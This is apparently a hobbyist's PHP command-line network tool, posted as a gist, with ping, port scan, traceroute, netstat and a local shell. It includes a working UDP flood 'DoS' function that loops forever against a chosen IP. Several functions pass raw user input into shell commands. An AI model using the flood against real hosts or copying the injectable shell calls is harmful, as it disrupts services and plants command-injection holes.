im trying to make a general purpose simple php network script with network and system functions i tryed to put as much as i could. i want to put telnet and netcat and an auto scan and connect function but i have some hard time in coding.

gistfile1.php

<?php
//php network script
//works only on cli
//by zeron abraham piperidis3@yahoo.gr (any response would be appreciate)

  /*im trying to make a general purpose  simple php network script with network and system functions 
i tryed to put as much as i could. 
i want to put telnet and netcat and an auto scan and connect function but i have some hard time in coding.*/

// curl extension must enable!!!,for ubuntu-mint... apt-get install php5-curl


//works both linux and windows(very unstable on windows) mostly linux

//use with caution

//contains simple functions like ping ,portscan till a simple DoS attack
//
//free for all change it ,make it better!
//more later...not finished yet

/*ping not actualy ping,ping and icmp packets its not really using any ports because its below tcp/ip osi level, 
from main menu *ping* works only on 80 open hosts(its like httping) if this could be consider ping.
so u would not be able to ping machines behind filtered firwalls.
im trying to avoid as much as i can exec() function,
in tools submenu is second ping function working with exec(didnt had any other option)
*/
echo " \n",'||>----Welcome to a php network script----<||',  " \n";

menu:
 
class net {       //base class with the basic 9 options and its funtions

   function out() {

    @$name = exec('whoami');
    @$date = date("j, n, Y");
    echo " \n",'||+-->--------------------Main Menu------------------<--+||', " \n";
    echo '|+-->Option>-1   Host Ping ', " \n";
    echo '|+-->Option> 2.  DoS ', " \n";
    echo '|+-->Option> 3.  portscan', " \n";
    echo '|+-->Option> 4.  Traceroute ', " \n";
    echo '|+-->Option> 5.  Netstat ', " \n";
    echo '|+-->Option> 6.  Ftp ', " \n";
    echo '|+-->Option> 7. tools', " \n";
    echo '|+-->Option> 8. help', " \n";
    echo '|+-->Option> 9. Exit', " \n";
    echo '||+>-----------|Protectron<->Protectsoft|-----------<||>';
      if (!$name) {  echo ' '; 
         } else        
             { echo $name; 
   } 
      if (!$date) {  echo ' '; 
         } else 
             { echo "|>",$date, " \n"," \n";
   }      //if date and whoami fails just echo nothing
 }
   function ping($url=NULL)  {  
     if($url == NULL) return false;       // curl extension must enable,for ubuntu-mint... apt-get install php5-curl
     $ch = curl_init($url);  
     curl_setopt($ch, CURLOPT_TIMEOUT, 4);  
     curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 4);  
     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
   
     $data = curl_exec($ch);  
     $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);  
     curl_close($ch);  
     if($httpcode>=200 && $httpcode<300) {  
         echo "|---->host $url is online<--------||", " \n";  
       } else {  
         echo "|---->host $url is unavailable!<--------||", " \n";  
    }  
 }

   function ftp($ip) {
     $ftp = passthru("ftp $ip");
 }

   function nmap($ip,$port) {
     $scan = @fsockopen($ip,$port,$errno, $errstr, 3);
       if (!$scan) {
    
         echo " \n","||--->Port is closed or not opened<---||", " \n"; 
  
           }   else  {
         echo " \n",'|---->',"|Host> $ip |UP| and |port> $port are open--<|", " \n"," \n";  
   }
}


   function traceroute($a) {
     $trace = passthru("traceroute $a");      //passthru in this case rather exec,passthru outputs raw data
     if (!$trace) { 
       echo " \n","|--->Failed!...trying tracert...", $tracert = passthru("tracert $a"); } 
       else { echo $trace;
   }
 }

   function netstat ($a) {
     echo '|--->Netstat may take a while '," \n";
     $netstat = passthru("netstat $a");       //$a for netstat options
 }

   function tcpdump ($a,$b) {
 }

   function dos($ip) {                                    //this one is very funny.works only in lan.send big amount of packeges to 80 port
     $socket = socket_create(AF_INET,SOCK_DGRAM,SOL_UDP); // Create sockets
      if(!$socket) {
        die("Unable to create sockets.");
 }                                                         // Unable to create sockets

     $data = "";
       for($i = 0;$i < 1500; $i++){
         $data.= chr(rand(0,255));}        // Generate random data with 1500 bytes length (limit)

         while(true) //Infinite loop
 { 
       if(!socket_sendto($socket,$data,strlen($data),0,$ip,80)) { 
         die("Unable to send sockets.");}  echo (" |.| ");   
     }
   }
 }

$b = new tools();
$a = new net();
$a->out();
$input = fwrite(STDOUT,"|>----choose function:~/$ ");
$input = trim(fgets(STDIN));


  if ($input == 1) {
    $input = fwrite(STDOUT,"|>----enter ip:~/$ ");
    $input = trim(fgets(STDIN));
    $a->ping($input);
 goto menu;
} 
  elseif ($input == 2) {
    $input = fwrite(STDOUT,"|>----enter ip for DoS:~/$ ");
    $input = trim(fgets(STDIN));
    $a->dos($input);
  goto menu;
} 
  elseif ($input == 3) {
    $input = fwrite(STDOUT,'|>----enter ip:~/$');
    $input = trim(fgets(STDIN));
    $input2 = fwrite(STDOUT,'|>----enter port:~/$');
    $input2 = trim(fgets(STDIN));
   $a->nmap($input,$input2);
 goto menu;
} 
  elseif ($input == 4) {
    $input = fwrite(STDOUT,'|>----enter ip or host:~/$');
    $input = trim(fgets(STDIN));
  $a->traceroute($input);
 goto menu;
} 
  elseif ($input == 5) {
   $input5 = fwrite(STDOUT,'||>----Enter option for netstat or hit enter to scan all:~/$');
   $input5 = trim(fgets(STDIN));

  $a->netstat($input5);
 goto menu;
} 
  elseif ($input == 6) {
    $input6 = fwrite(STDOUT,'||>---Enter ip or host name:~/$');
    $input6 = trim(fgets(STDIN));
  $a->ftp($input6);
 goto menu;

} 
  elseif ($input == 8) {

    $a->help();
 goto menu;

} 
  elseif ($input == 7) {
    $b->outb();
 goto submenu;
} 
  elseif ($input == 9) {
  
    exit ;  
 } else { 
     echo " \n", '|>--------Wrong option try again--------<|', " \n", " \n";
   goto menu;
}

  submenu:


class tools extends net {    // extended class tools from main class net.9 more suboptions from main option tools.

   function  outb() {
     echo " \n",'    ||>>-------->Tools<-------->>>>||', " \n";
     echo " \n",'|>----Option 1. local ip:', " \n";
     echo '|>----Option 2. Ping:', " \n";
     echo '|>----Option 3. Whoami:', " \n";
     echo '|>----Option 4. Environment:', " \n";
     echo '|>----Option 5. Top:', " \n";
     echo '|>----Option 6. Matrix illusion:', " \n";
     echo '|>----Option 7. Php shell:', " \n";
     echo '|>----Option 8. Shell window:', " \n";
     echo '|>----Option 9. Main Menu:' , " \n";

  }

   function ip($a) {
     $a;
     @$ip = shell_exec('ipconfig');  //if ifconfig fails runs ipconfig for both linux and windows
 
      if (!$ip) { 
        echo "|---->ipconfig command not found! trying ifconfig..."," \n", $ip1 = shell_exec('ifconfig'); }
  $this->outb();
 } 

   function whoami($a) {
     @$who10 = exec('echo %USERDOMAIN%\%USERNAME%');  //
     if (!$who10) { echo ' ';} 
       else { echo " \n",'|>>>>----|',$who1 = exec('whoami'),'---------------<||', " \n"; }
  $this->outb();
 }
   function ping1($ip) {
     echo " \n","|-----------$ip---------->>"," \n";   //just a simple ping function works both linux n windows
     $ping = shell_exec("ping -w 4 $ip");
       if (!$ping) {echo shell_exec("ping $ip"); }
         else {echo $ping;}
  $this->outb();
 }
   function top() {
     $top = shell_exec('top -n 1');    //top only for linux
       if (!$top) { echo 'failed';} 
         else { echo $top," \n";}


 $input2 = fwrite(STDOUT,'|----->Press any button to continue:');
 $input2 = trim(fgets(STDIN));
 if ($input2 == null) {$this->outb();} else {$this->outb();}
  }
   function matrix() {       //this one is one of my favorite.outputs random 0 n 1 creating a matrix like ilusion
                             //works only on cli
                             //by zeron
 matrix:
     $table = array('|     |');
     $numbers = array(0,1,00,01,10,11,111,000,' ');
     shuffle($table);
     shuffle($numbers);
     foreach ($numbers as $numbers) {
       set_time_limit(0);
       usleep(900); // change this to increase or decrease speed
       echo "$numbers";
     }
     foreach ($table as $table) {
       set_time_limit(0);
       usleep(900); // // change this to increase or decrease speed
       echo "$table";
   }
 goto matrix;

 }
   function phpshell() {    //a php command line shell
 phpshell:
     $name = exec('whoami');
     $out = fwrite(STDOUT,"$name@box~/$:");
     $out = trim(fgets(STDIN));
     echo shell_exec($out);
     if ($out == 'exit') {
       exit;
 }
 goto phpshell;
 }
   function window() {                     //just echo the following
     $who = exec('whoami');
     echo                 '      _________________________________________________________ '," \n";
     echo                 '     |File|Edit|View|Terminal_________________________|_|[]|X||'," \n";
     echo                 '    ',"  $who",':~$',' echo `im php developer`','                       || '," \n";
     echo                 '                                                             || '," \n";
     echo                 '                                                             || '," \n";
     echo                 '                                                             || '," \n";
     echo                 '                                                             || '," \n";
     echo                 '                                                             || '," \n";
     echo                 '                                                             || '," \n";
     echo                 '                                                             || '," \n";
     echo                 '                                                             || '," \n";
     echo                 '                                                             || '," \n";
     echo                 '      _______________________________________________________|| '," \n";
  $this->outb();
 }
   function main() {
  }

 }

 $input = fwrite(STDOUT,"|>----choose function:~/$ ");
 $input = trim(fgets(STDIN));


  if ($input == 1) {
    $b->ip(error_reporting(0));
 goto submenu;
} 
  elseif ($input == 3) {
    $b->whoami(error_reporting(0));
 goto submenu;
} 
  elseif ($input == 5) {
    $b-> top();
 goto submenu;
} 
  elseif ($input == 6) {
    $b->matrix();
 goto submenu;
} 
  elseif ($input == 7) {
    $b->phpshell();
 goto submenu;
} 
  elseif ($input == 8) {
    $b->window();
 goto submenu;
} 
  elseif ($input == 2) {
    $input1 = fwrite(STDOUT,"|>----enter ip:~/$ ");
    $input1 = trim(fgets(STDIN));
    $b->ping1($input1);
 goto submenu;
} 
  elseif ($input == 9) {
 goto menu;
} 
  elseif ($input == 4) {
   echo shell_exec('env');
   echo '||>---------------------------------------------------------------|>||', " \n";
 $b->outb();
goto submenu;

} else { echo " \n",'|>>------Wrong option try again------>>>>', " \n";
    $b->outb();
  goto submenu;
 }


?>